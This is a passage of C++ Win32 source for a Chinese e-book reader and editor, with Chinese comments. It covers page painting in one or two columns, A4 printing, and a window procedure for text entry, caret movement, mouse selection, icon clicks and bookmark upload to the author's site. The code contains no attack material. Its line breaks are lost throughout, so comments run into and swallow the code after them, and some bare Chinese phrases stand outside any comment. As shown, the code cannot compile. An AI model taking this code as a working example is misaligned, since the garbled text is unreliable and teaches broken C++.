0,cyClient-22,cxClient,cyClient);//在画布低部画一个黑框if (ll==1)//单栏显示Rectangle(memDC, 0,0,cxClient,cyClient-22);//画一个黑框          if (ll==2 ) //两栏模式时画两个框{  Rectangle(memDC, 0,0,cxClient/2,cyClient-22);//画一个黑框Rectangle(memDC, cxClient/2,0,cxClient,cyClient-22);//画一个黑框}//画关闭图像
/*          RECT mrect_close;SetRect(&mrect_close,r.right-20,3,r.right-3,r.top+15);//P373设置矩形的坐标HRGN mrgn=CreateRectRgnIndirect(&mrect_close);//376创建一个矩形区域HBRUSH hbrush3 = CreateSolidBrush(255);//画刷的着色FrameRgn(memDC,mrgn,hbrush3,1,1);//用指定下的画刷给指定的区域画边界hpen = CreatePen(PS_SOLID, 1, 255);//255,100,255SelectObject(memDC, hpen);//选择画笔装入显示设备MoveToEx( memDC, mrect_close.left, mrect_close.top, NULL );LineTo( memDC, mrect_close.right, mrect_close.bottom );MoveToEx( memDC, mrect_close.left, mrect_close.bottom, NULL );LineTo( memDC, mrect_close.right, mrect_close.top );   *///==============画图测试//Rectangle(memDC, mrect_one.left,mrect_one.top,mrect_one.right,mrect_one.bottom);//画一个矩形框,并擦除中间的内容 //Rectangle(memDC, mrect_two.left,mrect_two.top,mrect_two.right,mrect_two.bottom);//画一个矩形框,并擦除中间的内容 //Rectangle(memDC, mrect_tree.left,mrect_tree.top,mrect_tree.right,mrect_tree.bottom);//画一个矩形框,并擦除中间的内容 //HRGN mrgn=CreateRectRgnIndirect(&mrect_two);//376创建一个矩形区域//HRGN mrgn=CreateRectRgn(r.right-23,3,r.right-3,r.top+23);//376创建一个矩形区域//FrameRgn(memDC,mrgn,hbrush1,1,1);//用指定下的画刷给指定的区域画边界//InvertRgn(memDC,mrgn);//翻转指定区域的颜色//FillRgn(memDC,mrgn,hbrush1);//用指定的画刷填充矩形区域//FillRect(memDC,&mrect_two,hbrush1);//用背景画刷以矩形填充整个窗口//显示正文int x=0;int js=0;int y=0;if (ll==1){y=(cyClient-((cyChar+HJJ*sfbl)*Hang-HJJ*sfbl+22))/2;//页面上边距          }else{y=(cyClient-((cyChar+HJJ)*Hang-HJJ+22))/2;//页面上边距          }int j=0;for (int i=0;i<showstr.size();i++){if (i<=Hang-1)//左边{if (ll==1)//如果是单栏显示{    x=(cxClient-cxChar*Lie*2)/2;//左右居中}if (ll==2 or ll==3)//两栏模式 {x=(cxClient/2-cxChar*Lie*2)/2;//左右居中}j=i;//J是显示在当前页面第J行}else//右边  如果i>Hang 则需要第二个页面来显示{x=cxClient/2+((cxClient/2-cxChar*Lie*2)/2);//左右居中j=i-Hang;//J是显示在当前页面第J行}                 /*                  //判断本行字是不是标题类的文字,如果是则居中显示wstring temp=ANSIToUnicode(showstr[i]);wstring temp1;int count=0,count1=0;int tempsize=temp.length();   //sizeof 求出的是对象所占有空间的字节数//strlen 求出的是字符数组第一个'\0'前的字节数//例如sizeof("abc\0cd")求出的是7//strlen("abc\0cd")求出的是3//string 的length和size没有区别              if (!canedit){if (tempsize<Lie-1){   string tos;string strtemp="…abcdefghijklmnopqrstuvwxyz  ..,':;!!?,){}{}[]。。;’”:--)";int fz;for (int js=tempsize-1;js>=0;js--)//从字体串后面开始判断{temp1=temp[js];//截取一个字符tos=UnicodeToANSI(temp1);//将该字符转换为string类型if (tos[0]!=10 && tos[0]!=13 && tos!=" "){fz=strtemp.find(tos);//string.rfind  从字符串右边开始找字符,返回位置if (fz==string::npos){    break;}else{//if (tos=="。"||tos=="。") printf("有一个句号:%s",showstr[i].c_str()); count++;}}else//统计换行符、回车符及空格的个数{count1++;}}                   if (count==0){//printf("(%s)\n",temp.data());if (i<=Hang-1)//左边{if (ll==1)//如果是单栏{    x=(cxClient-cxChar*tempsize*2)/2;//左右居中}else{x=(cxClient/2-cxChar*tempsize*2)/2;//左右居中}j=i;}else//右边{x=cxClient/2+((cxClient/2-cxChar*tempsize*2)/2);//左右居中j=i-Hang;}                         }}}  *//*                   if (canedit)//编辑状态下显示行号{SelectObject(memDC,hFont1);//选择字体GetTextMetrics (memDC, &tm) ;int cxChar_hh = tm.tmAveCharWidth;int cyChar_hh = tm.tmHeight + tm.tmExternalLeading ;char char_hh[5]={0};sprintf(char_hh,"%d",i);TextOut(memDC,x-strlen(char_hh)*cxChar-10,(cyChar*j+HJJ*j)+y+(cyChar-cyChar_hh)/2,char_hh,strlen(char_hh));        //输出到窗口的文本)}     */SelectObject(memDC,hFont);//选择字体char* p=(char*)showstr[i].c_str();//第一点:c_str()字符串后有'\0',而data()没有。//第二点: data 返回的数组(虽然是char* 但是和  c_str 还是有本质区别的)-----data 能解决一个问题 string 串中 包含 \0 情况的问题。结合size 方法就能随意访问返回的数据了.  注意他返回的是array 数组.js=strlen(p);/*                     if (!canedit){if (count==0&&tempsize<=Lie-2)//如果是标题类文本{SelectObject(memDC,hFont2);//选择字体//string strdd=hzto16((char *)showstr[i].c_str());//printf("%s\n%s\n",showstr[i].c_str(),strdd.c_str());                           }} */if (ll==1)   {TextOut(memDC,x,(cyChar*j+HJJ*sfbl*j)+y,p,js);       //输出到窗口的文本}else{TextOut(memDC,x,(cyChar*j+HJJ*j)+y,p,js); }}//for end//显示阅读进度及显示文件全路径DeleteObject(hOldFont);  //删除旧字体hOldFont=(HFONT)SelectObject(memDC,hFont1);//选择字体//得到当前字体的高度和宽度GetTextMetrics (memDC, &tm) ;int cxChar1 = tm.tmAveCharWidth;int cyChar1 = tm.tmHeight + tm.tmExternalLeading ;if (ll==3){SetTextColor(memDC, 0);//设置显示字体颜色}if (ll==2 or ll==3)//两栏模式 {SetTextColor(memDC, zts);//设置显示字体颜色}char ls1[MAX_PATH];char ls3[MAX_PATH];//存放软件信息double zs=(double)endwz/bookstr.length()*100; //获取书名char ls2[MAX_PATH];fz=FileName.rfind('\\');//string.rfind  从字符串右边开始找字符,返回位置int fz1=FileName.find('.');string zs1;if (fz1==-1){zs1=FileName.substr(fz+1);  // s2 = "is i"          }else{zs1=FileName.substr(fz+1,FileName.size()-fz-1-4);  // s2 = "is i"    }sprintf(ls2,"%s",(char*)zs1.c_str());//书名if (canedit){   sprintf(ls1,"阅:%.2f%%《%s》行:%d,列:%d 总字数:%d 用户:%s",zs,ls2,CaretPoshang,CaretPoslie,bookstr.size(),username.c_str());}else{   sprintf(ls1,"阅:%.2f%%《%s》用户:%s 阅读位置:%d",zs,ls2,username.c_str(),beginwz);}         strcpy(ls3,"阅读编辑器");js=strlen(ls1);  int js1=strlen(ls3);//显示信息if (ll==1 || ll==2){ TextOut(memDC,5,cyClient-18,ls1,js);        //输出到窗口的文本  TextOut(memDC,cxClient-cxChar1*js1,cyClient-18,ls3,js1);        //输出到窗口的文本  }if (ll==3){SetTextColor(memDC, 0);//设置显示字体颜色TextOut(memDC,40,cyClient-22,ls1,js);        //输出到窗口的文本  TextOut(memDC,cxClient-cxChar1*js1-40,cyClient-22,ls3,js1);     //输出到窗口的文本  }//画图标//HICON hicon=LoadIcon((HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE),"IDI_CLOSE"); //画关闭图标HICON hicon=LoadIcon((HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_CLOSE));DrawIconEx(memDC,r.right-23,3,hicon,20,20,1,hbrush1,DI_NORMAL);//画显示模式hicon=LoadIcon((HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_XSMS));DrawIconEx(memDC,r.right-23,30,hicon,20,20,1,hbrush1,DI_NORMAL);//画图书馆 hicon=LoadIcon((HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_BOOK));DrawIconEx(memDC,r.right-23,57,hicon,20,20,1,hbrush1,DI_NORMAL);          //画用户 hicon=LoadIcon((HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_USER));DrawIconEx(memDC,r.right-23,84,hicon,20,20,1,hbrush1,DI_NORMAL);//DrawIcon(memDC,r.right-50,5,hicon);BitBlt(hdc1,0,0,cxClient,cyClient,memDC,0,0,SRCCOPY);//155SRCCOPY将内存中的图拷贝到屏幕上进行显示/*             //从左到右显示for (int j=1;j<r.right-r.left;j=j+10){BitBlt(hdc,0,0,j,r.bottom-r.top-100,memDC,0,0,SRCCOPY);}  *///删除原先建立的绘画设备DeleteObject(hFont) ;//必须要删除,不然内存会被吃光DeleteObject(hFont1) ;//必须要删除,不然内存会被吃光DeleteObject(hFont2) ;//必须要删除,不然内存会被吃光DeleteObject(hpen);//删除画笔DeleteObject(hbrush1);//删除画笔DeleteObject(hbrush2);//删除画笔//DeleteObject(hbrush3);//删除画笔DeleteObject(bmpBack);//删除画布DeleteDC(memDC);//删除内存绘画设备        }void CallPrint(bool pb)
{static DOCINFO di = { sizeof (DOCINFO), TEXT ("Print1: Printing") } ; BOOL bSuccess = TRUE ; HDC hdcPrn ; HDC hdctemp=GetDC(MAIN_hwnd);int xsd = GetDeviceCaps(hdctemp,LOGPIXELSY);//得到当前屏幕每英寸的像素点是多少DeleteDC(hdctemp);//int A4x=1487,A4y=2105;    //printf("当前屏幕每英寸的像素点:%d\n",xsd);int A4x=(210/25.4)*xsd;int A4y=(297/25.4)*xsd;
/* A4纸的尺寸bai是210mm×297mm,?你选择不同的分辨率,图像像素du大小也随之变化。zhi?1英寸=25.4毫米,A4纸的尺寸的图dao像的像素是(210/25.4)*分辨率×(297/25.4)*分辨率。
常用分辨率下A4纸在屏幕上的像素尺寸:分辨率是72像素/英寸时,A4纸的尺寸的图像的像素是595×842;分辨率是96像素/英寸时,A4纸的尺寸的图像的像素是794×1123;(默认)分辨率是120像素/英寸时,A4纸的尺寸的图像的像素是1487×2105;分辨率是150像素/英寸时,A4纸的尺寸的图像的像素是1240×1754;分辨率是300像素/英寸时,A4纸的尺寸的图像的像素是2480×3508; */
/*                  switch (xsd){case 72:A4x=595;A4y=842; break;case 96:A4x=794;A4y=1123;   break;                      case 120:A4x=1487;A4y=2105;   break;  case 150:A4x=1240;A4y=1754;   break;  case 300:A4x=2479;A4y=3508;   break;                              } */if (pb){getprintstr(A4x,A4y,true);  }else{getprintstr(A4x,A4y,false);}int printHang = (A4y-22) / (cyChar1+HJJ);//计算行                  int zpage=printstr.size()/printHang;if (printstr.size()%printHang!=0) zpage++;zpage--;PRINTDLG pd;pd.lStructSize=sizeof(PRINTDLG);//lStructSize:本结构大小(字节数)pd.Flags=PD_RETURNDC;//Flags:用于打印公用对话框初始化的标志位pd.hDC=NULL;//确定DC或IC(information context),由Flags是否设置PD_RETURNDC或PC_RETURNIC标志来决定pd.hwndOwner=MAIN_hwnd;//父窗口句柄(可为NULL)pd.hInstance=NULL;//这个结构成员很少使用pd.nMaxPage=zpage;//指定开始/结束页码编辑控件的页码范围的最大值pd.nMinPage=0;//指定开始/结束页码编辑控件的页码范围的最小值,若nMinPage=nMaxPage,则“页码范围”单选钮和开始/结束页码编辑控件被灰化pd.nFromPage=0;//指定开始页码编辑控件的初始值pd.nToPage=zpage;//指定结束页码编辑控件的初始值pd.nCopies=1;//指定拷贝份数编辑控件的初始值pd.hDevMode=NULL;//包含打印机设备与环境信息的DEVMODE结构句柄pd.hDevNames=NULL;//包含驱动器名、打印机名和输出端口名的设备名结构DEVNAMES句柄//显示打印对话框,由用户来设定纸张大小等。if(!PrintDlg(&pd)){printstr.clear();return ;}//printf("pd.nFromPage:%d,pd.nToPage:%d\n",pd.nFromPage,pd.nToPage);//return 0;hdcPrn=pd.hDC;    /*                  int xsd1=GetDeviceCaps(hdcPrn,LOGPIXELSY);//得到当前屏幕每英寸的像素点是多少char temp[100];sprintf(temp,"打印机像素点:%d,屏幕像素点:%d",xsd1,xsd);MessageBox(NULL,temp,"null",0);return ; *///if (NULL == (hdcPrn = CreateDC (NULL,"Brother MFC-7880DN Printer", NULL, NULL)))//获取打印机句柄   //  return 0 ; //获取打印机句柄        //所有像素数int pagecx=GetDeviceCaps(hdcPrn, HORZRES);int pagecy=GetDeviceCaps(hdcPrn, VERTRES);   SetMapMode(hdcPrn,MM_ANISOTROPIC);SetViewportOrgEx(hdcPrn,0,0,NULL);SetViewportExtEx(hdcPrn,pagecx,pagecy,NULL);SetWindowExtEx(hdcPrn,A4x,A4y,NULL);if (StartDoc (hdcPrn, &di) > 0) //p338启动一个打印作业{ if (StartPage (hdcPrn) > 0) //p339使打印机驱动程序准备接受数据{ for (int i=pd.nFromPage;i<=pd.nToPage;i++){  PrintPage(hdcPrn,i,A4x,A4y);//打印一页EndPage (hdcPrn); //用于通知打印机,应用程序已写完一页了}    } EndDoc (hdcPrn) ; //结束一个打印作业} DeleteDC (hdcPrn) ;     printstr.clear();
}//procmain主窗口处理程序
LRESULT CALLBACK WindowProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{char temp[30];int wmId;static HDC hdc ;PAINTSTRUCT ps ;TEXTMETRIC tm ; string s,s1,s2;static bool mousedown=false;//开始行  开始列   结束行   结束列static int beginhang,beginlie,endhang,endlie;static int mousedx,mousedy;static RECT oldr;HRGN mrgn;switch(message){case WM_MBUTTONDBLCLK://双击鼠标中键(这个为啥没反应?)MessageBox(NULL,"ddd","",0);return 0;//鼠标消息case WM_LBUTTONDBLCLK:    // 0x0203  双击鼠标左键 在注册窗口类的时候在WNDCLASS的style成员加上CS_DBLCLKS风格{
/*          if (IsWindowVisible(hwnd)!=0)//WIN+Z老板键{  ShowWindow(hwnd,SW_HIDE);//P141隐藏窗口 }else{OpenIcon(hwnd);//P137恢复最小化窗口  ShowWindow(hwnd,SW_SHOW);//P141显示窗口 SetForegroundWindow(hwnd);//P137将窗口前置 } */return 0;         }       case WM_CHAR: if (!canedit) break;if (wParam!=13&&wParam!=8){if (wParam>=1 && wParam<=26){    //printf("wm_char_wparam:%d\n",wParam);break;//屏蔽ctrl+(a-z)}     }try{switch (wParam) { int s_length;case '\b': // backspace break ; case 13: // carriage return {//MessageBox(NULL,"你按回车键","",0);if (havemove){havemove=false;if (selbhang==selehang&&selblie==selelie) return 0;deleteselstr();editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景if(selbhang<=selehang){CaretPoshang=selbhang;CaretPoslie=selblie;}else{CaretPoshang=selehang;CaretPoslie=selelie;                     }}                  s=showstr[CaretPoshang];if (s.find("\r\n")!=-1){s_length=s.length()-2;}else{s_length=s.length();} string nr;nr=s.substr(s.length()-2,2);bool crkg=false;if (CaretPoshang==showstr.size()-1&&CaretPoslie>=s_length&&nr!="\r\n")//1、是最后一行;2、行末没有回车换行符;3、光标在行末{s.insert(CaretPoslie,"\r\n  \r\n");crkg=true;}//则增加两个回车换行符???回车后插入两个空格else{                      if (CaretPoshang<showstr.size()-1&&CaretPoslie>=s_length&&nr=="\r\n"){s.insert(CaretPoslie,"\r\n  ");crkg=true;}else{s.insert(CaretPoslie,"\r\n");}}showstr[CaretPoshang]=s;editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景if (CaretPoshang<showstr.size()-1){CaretPoshang++;}else{if (CaretPoshang==Hang*2-1&&(ll==2 or ll==3)){CaretPoshang=0;pagedown();}if (CaretPoshang==Hang-1&&ll==1){CaretPoshang=0;pagedown();}                      }if (crkg==true){CaretPoslie=4;}else{CaretPoslie=0;}moveCaret();//147                   break ; }default: // character codes if (havemove){havemove=false;if (selbhang==selehang&&selblie==selelie) return 0;deleteselstr();editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景if(selbhang<=selehang){CaretPoshang=selbhang;CaretPoslie=selblie;}else{CaretPoshang=selehang;CaretPoslie=selelie;                       }}char ch=(char)wParam;s=showstr[CaretPoshang];//int s_length=s.length();string charstr;int crzs=0;//插入字数charstr=ch;if (isAscll(charstr))//如果是ASCII,则直接写入{s.insert(CaretPoslie,charstr);hzi=0;crzs=1;}else//如果是汉字,则高位与低位拼凑成一个汉字再写入{if (hzi==0){  hz[0]=ch;hzi=1;break;}else{hz[1]=ch;hzi=0;charstr=hz;s.insert(CaretPoslie,charstr);crzs=2;}}showstr[CaretPoshang]=s;editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景s=showstr[CaretPoshang];s_length=s.length();//将光标右移或向下移一行if (ll==2 or ll==3)//两栏模式{if ((CaretPoshang<=Hang-1))//左栏处理,如果没到底部就向下移动光标{if ((CaretPoslie)<=s_length-1)//在一行内s_length-1{   CaretPoslie=CaretPoslie+crzs;}else//到行末了{if (CaretPoshang==showstr.size()-1){   CaretPoslie=s_length+crzs;}                                                                                   if (CaretPoshang<showstr.size()-1){  CaretPoshang++;   if ((CaretPoslie)>s_length-1)CaretPoslie=crzs;}if (CaretPoshang>Hang-1){CaretPosx=showx2+CaretPoslie*cxChar;CaretPosy=showy+(CaretPoshang-Hang)*(cyChar+HJJ);   moveCaret() ; //将光标设置到指定位置break;}}                                  CaretPosx=showx1+CaretPoslie*cxChar;CaretPosy=showy+CaretPoshang*(cyChar+HJJ);}else//右栏处理{if (CaretPoshang<=showstr.size()-1){//当光标在当前字符前尾部的前面if (CaretPoslie<=s_length-1)//当光标在当前字符前尾部的前面{    CaretPoslie=CaretPoslie+crzs;}else//当前光标的位置到行末时处理{//输入的字符经过处理后,会自动增加一行 if (CaretPoshang<showstr.size()-1)//这是页内的行数还没满的时候{   CaretPoshang++;   if (CaretPoslie>s_length-1)CaretPoslie=crzs;}else{//页内最后一行的处理,并且当前行的字符还没满,光标直接在当前行移动! if (CaretPoshang==showstr.size()-1 && CaretPoslie<=s_length-1&&CaretPoshang==Hang*2-1){  CaretPoslie=s_length+crzs;}if (CaretPoshang==showstr.size()-1 && CaretPoslie>s_length-1&&CaretPoshang==Hang*2-1){  beginwz=endwz-crzs;pagedown();CaretPoshang=0; if (CaretPoslie>s_length-1)CaretPoslie=crzs;}}}                                     }}//右栏处理end}if (ll==1){if (CaretPoshang<=showstr.size()-1){//当光标在当前字符前尾部的前面if (CaretPoslie<=s_length-1)//当光标在当前字符前尾部的前面{  CaretPoslie=CaretPoslie+crzs;}else//当前光标的位置到行末时处理{//输入的字符经过处理后,会自动增加一行 if (CaretPoshang<showstr.size()-1)//这是页内的行数还没满的时候{   CaretPoshang++;   if (CaretPoslie>s_length-1)CaretPoslie=crzs;}else{//页内最后一行的处理,并且当前行的字符还没满,光标直接在当前行移动! if (CaretPoshang==showstr.size()-1 && CaretPoslie<=s_length-1&&CaretPoshang==Hang-1){    CaretPoslie=s_length+crzs;}if (CaretPoshang==showstr.size()-1 && CaretPoslie>s_length-1&&CaretPoshang==Hang-1){    beginwz=endwz-crzs;pagedown();CaretPoshang=0; if (CaretPoslie>s_length-1)CaretPoslie=crzs;}}}                                     }}//一栏模式endmoveCaret(); //将光标设置到指定位置break ; } //swith end}catch(...){MessageBox(NULL,"发生未知编辑错误,请告知国鹏:LOVEGP@139.COM!","提示",0);}return 0 ;        case WM_SETFOCUS: {// create and show the caret if (canedit){CreateCaret (hwnd, 0, 1, cyChar) ; //创建光标SetCaretPos (CaretPosx, CaretPosy) ; //将光标设置到指定位置ShowCaret (hwnd) ; //显示光标}return 0 ; }case WM_KILLFOCUS: // hide and destroy the caret if (canedit){HideCaret (hwnd) ; //隐藏插入标记DestroyCaret () ; //清除插入标记}return 0 ; case WM_ERASEBKGND://防止屏幕闪烁return 1;        case WM_PAINT:      //重画窗口客户区消息处理mainpaint{hdc=BeginPaint(MAIN_hwnd,&ps);  //获取要重画的窗口的设备描述表句柄          MainPaint(hdc);ReleaseDC(MAIN_hwnd,hdc);//删除绘画设备EndPaint(MAIN_hwnd,&ps);        //结束重画return 0;}case WM_MOUSEMOVE:{//编辑状态下选择字符串if (mousedown&&canedit){int mouseY=HIWORD(lParam);//lParam的高位(high-order)是鼠标光标的y坐标(y-coordinate)int mouseX=LOWORD(lParam);havemove=true;beginhang=CaretPoshang;beginlie=CaretPoslie;//移动光标mousetocaret(mouseX,mouseY);endhang=CaretPoshang;endlie=CaretPoslie;int x1,y1,x2,y2;if (beginhang==endhang)//如果是同一行的{if (CaretPoshang>Hang-1){y1=showy+(beginhang-Hang)*(cyChar+HJJ);//showy是页面的上距x1=showx2+beginlie*cxChar;//showx2是第2页的页边距-两栏模式}else{y1=showy+beginhang*(cyChar+HJJ);x1=showx1+beginlie*cxChar;//showx1是第1页的页边距-两栏模式}if (CaretPoshang>Hang-1){y2=showy+(endhang-Hang)*(cyChar+HJJ)+cyChar;//showy是页面的上距x2=showx2+endlie*cxChar;//showx2是第2页的页边距-两栏模式}else{y2=showy+endhang*(cyChar+HJJ)+cyChar;x2=showx1+endlie*cxChar;//showx1是第1页的页边距-两栏模式}   hdc=GetDC(hwnd);mrgn=CreateRectRgn(x1,y1,x2,y2);InvertRgn(hdc,mrgn);//翻转指定区域的颜色ReleaseDC(hwnd,hdc);                                   return 0;}//如果是同一行的endif (endhang>beginhang)//如果是向下跨行的{      for (int i=beginhang;i<=endhang;i++){if (i<endhang){if (i>Hang-1){y1=showy+(i-Hang)*(cyChar+HJJ);//showy是页面的上距x1=showx2+beginlie*cxChar;//showx2是第2页的页边距-两栏模式}else{y1=showy+i*(cyChar+HJJ);x1=showx1+beginlie*cxChar;//showx1是第1页的页边距-两栏模式}if (i>Hang-1){y2=showy+(i-Hang)*(cyChar+HJJ)+cyChar;//showy是页面的上距x2=showx2+showstr[i].length()*cxChar;//showx2是第2页的页边距-两栏模式}else{y2=showy+i*(cyChar+HJJ)+cyChar;x2=showx1+showstr[i].length()*cxChar;//showx1是第1页的页边距-两栏模式}    hdc=GetDC(hwnd);mrgn=CreateRectRgn(x1,y1,x2,y2);InvertRgn(hdc,mrgn);//翻转指定区域的颜色ReleaseDC(hwnd,hdc);                               }//if (i<endhang)if (i==endhang){if (i>Hang-1){y1=showy+(i-Hang)*(cyChar+HJJ);//showy是页面的上距x1=showx2+0*cxChar;//showx2是第2页的页边距-两栏模式}else{y1=showy+i*(cyChar+HJJ);x1=showx1+0*cxChar;//showx1是第1页的页边距-两栏模式}if (i>Hang-1){y2=showy+(i-Hang)*(cyChar+HJJ)+cyChar;//showy是页面的上距x2=showx2+endlie*cxChar;//showx2是第2页的页边距-两栏模式}else{y2=showy+i*(cyChar+HJJ)+cyChar;x2=showx1+endlie*cxChar;//showx1是第1页的页边距-两栏模式}    hdc=GetDC(hwnd);mrgn=CreateRectRgn(x1,y1,x2,y2);InvertRgn(hdc,mrgn);//翻转指定区域的颜色ReleaseDC(hwnd,hdc);                               }//if (i==endhang)                                        }//for (int i=beginhang;i<=endhang;i++)}//if (endhang>beginhang)//如果是向下跨行的if (endhang<beginhang)//如果是向上跨行的{        for (int i=beginhang;i>=endhang;i--){//if (i>=endhang&&i!=beginhang)if (i>endhang){if (i>Hang-1){y1=showy+(i-Hang)*(cyChar+HJJ);//showy是页面的上距x1=showx2+0*cxChar;//showx2是第2页的页边距-两栏模式}else{y1=showy+i*(cyChar+HJJ);x1=showx1+0*cxChar;//showx1是第1页的页边距-两栏模式}if (i>Hang-1){y2=showy+(i-Hang)*(cyChar+HJJ)+cyChar;//showy是页面的上距x2=showx2+beginlie*cxChar;//showx2是第2页的页边距-两栏模式}else{y2=showy+i*(cyChar+HJJ)+cyChar;x2=showx1+beginlie*cxChar;//showx1是第1页的页边距-两栏模式}  hdc=GetDC(hwnd);mrgn=CreateRectRgn(x1,y1,x2,y2);InvertRgn(hdc,mrgn);//翻转指定区域的颜色ReleaseDC(hwnd,hdc);   }//if (i<endhang)if (i==endhang){if (i>Hang-1){y1=showy+(i-Hang)*(cyChar+HJJ);//showy是页面的上距x1=showx2+endlie*cxChar;//showx2是第2页的页边距-两栏模式}else{y1=showy+i*(cyChar+HJJ);x1=showx1+endlie*cxChar;//showx1是第1页的页边距-两栏模式}if (i>Hang-1){y2=showy+(i-Hang)*(cyChar+HJJ)+cyChar;//showy是页面的上距x2=showx2+showstr[i].length()*cxChar;//showx2是第2页的页边距-两栏模式}else{y2=showy+i*(cyChar+HJJ)+cyChar;x2=showx1+showstr[i].length()*cxChar;//showx1是第1页的页边距-两栏模式}    hdc=GetDC(hwnd);mrgn=CreateRectRgn(x1,y1,x2,y2);InvertRgn(hdc,mrgn);//翻转指定区域的颜色ReleaseDC(hwnd,hdc);                                       }//if (i==endhang)    }//for (int i=beginhang;i<=endhang;i++)}//if (endhang<beginhang)//如果是向上跨行的return 0;}POINT ptScreen;//提取鼠标坐标,基于客户区坐标ptScreen.x = (short)LOWORD(lParam);ptScreen.y = (short)HIWORD(lParam);GetClientRect(MAIN_hwnd, &r);获取客户区尺寸RECT mrect_login,mrect_close,mrect_xsms,mrect_book,mrect_user;SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_xsms,r.right-23,30,r.right-3,r.top+50);//P373设置矩形的坐标SetRect(&mrect_book,r.right-23,57,r.right-3,r.top+77);//P373设置矩形的坐标SetRect(&mrect_user,r.right-23,84,r.right-3,r.top+104);//P373设置矩形的坐标SetRect(&mrect_login,r.right-100,r.bottom-18,r.right,r.bottom);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标if (PtInRect(&mrect_user,ptScreen)!=0 or PtInRect(&mrect_book,ptScreen)!=0 or PtInRect(&mrect_xsms,ptScreen)!=0 or PtInRect(&mrect_tree,ptScreen)!=0  or PtInRect(&mrect_one,ptScreen)!=0 or PtInRect(&mrect_close,ptScreen)!=0 or PtInRect(&mrect_login,ptScreen)!=0) {SetCursor(LoadCursor(NULL,IDC_HAND));//切换为手指//112}else{SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标   }return 0;}case WM_LBUTTONDOWN://单击鼠标左键{//得到窗口内的点击坐标X,Ymousedown=true;int mouseY=HIWORD(lParam);//lParam的高位(high-order)是鼠标光标的y坐标(y-coordinate)int mouseX=LOWORD(lParam);POINT p;p.x=LOWORD(lParam);p.y=HIWORD(lParam);GetClientRect(MAIN_hwnd, &r);获取客户区尺寸RECT mrect_close,mrect_xsms,mrect_book,mrect_user;SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_xsms,r.right-23,30,r.right-3,r.top+50);//P373设置矩形的坐标SetRect(&mrect_book,r.right-23,57,r.right-3,r.top+77);//P373设置矩形的坐标SetRect(&mrect_user,r.right-23,84,r.right-3,r.top+104);//P373设置矩形的坐标if (PtInRect(&mrect_user,p)!=0)//P373指定点是否在指定矩形中{DisplayTalk(hwnd,talk4,"talk4","用户操作",350,350);         mousedown=false;return 0;} if (PtInRect(&mrect_book,p)!=0)//P373指定点是否在指定矩形中{DisplayTalk(hwnd,talk2,"talk2","图书馆",850,800);                mousedown=false;return 0;} if (PtInRect(&mrect_xsms,p)!=0)//P373指定点是否在指定矩形中{switch (ll){case 1:ll=2;break;case 2:ll=3;break;case 3:ll=1;break;}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景   mousedown=false;return 0;}         if (PtInRect(&mrect_close,p)!=0)//P373指定点是否在指定矩形中{ShowWindow(hwnd,SW_HIDE);//P141隐藏窗口if (username!="游客" && bookid!="-1")//上传书签 {char bookwz[30]="\0";char bookzzs[30]="\0";sprintf(bookwz,"%d",beginwz);sprintf(bookzzs,"%d",bookstr.size());string tempurl="http://lovegp.cn/gpbook/gpbooksq.asp?cz=editwz&username="+username+"&bookid="+bookid+"&bookwz="+bookwz+"&bookzzs="+bookzzs;booknr=geturl(tempurl);}                 mousedown=false;return 0;}if (mouseY>r.bottom-18) {mousedown=false;//无边框标题栏移动窗口方法//SystemParametersInfo(SPI_SETDRAGFULLWINDOWS,false ,NULL,0);//移动时会出现虚线框SystemParametersInfo(SPI_SETDRAGFULLWINDOWS,true ,NULL,0);//移动时不会出现虚线框SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0);  return 0;}          if ((PtInRect(&mrect_one,p)!=0 && !canedit)||(GetAsyncKeyState(VK_CONTROL)&&PtInRect(&mrect_one,p)!=0 && canedit))//P373指定点是否在指定矩形中{pageup();return 0;}else   if (PtInRect(&mrect_two,p)!=0&& !canedit)//P373指定点是否在指定矩形中{//无边框标题栏移动窗口方法//SystemParametersInfo(SPI_SETDRAGFULLWINDOWS,false ,NULL,0);//移动时会出现虚线框SystemParametersInfo(SPI_SETDRAGFULLWINDOWS,true ,NULL,0);//移动时不会出现虚线框SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0);  return 0;}elseif ((PtInRect(&mrect_tree,p)!=0 && !canedit)||(GetAsyncKeyState(VK_CONTROL)&&PtInRect(&mrect_tree,p)!=0 && canedit))//P373指定点是否在指定矩形中{pagedown();return 0;}elseif (!canedit){//无边框标题栏移动窗口方法SystemParametersInfo(SPI_SETDRAGFULLWINDOWS,true,NULL,0);//移动时不会出现虚线框 SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0);  return 0;              }               if (canedit)//编辑状态下定位光标{GetClientRect(MAIN_hwnd, &r);获取客户区尺寸RECT 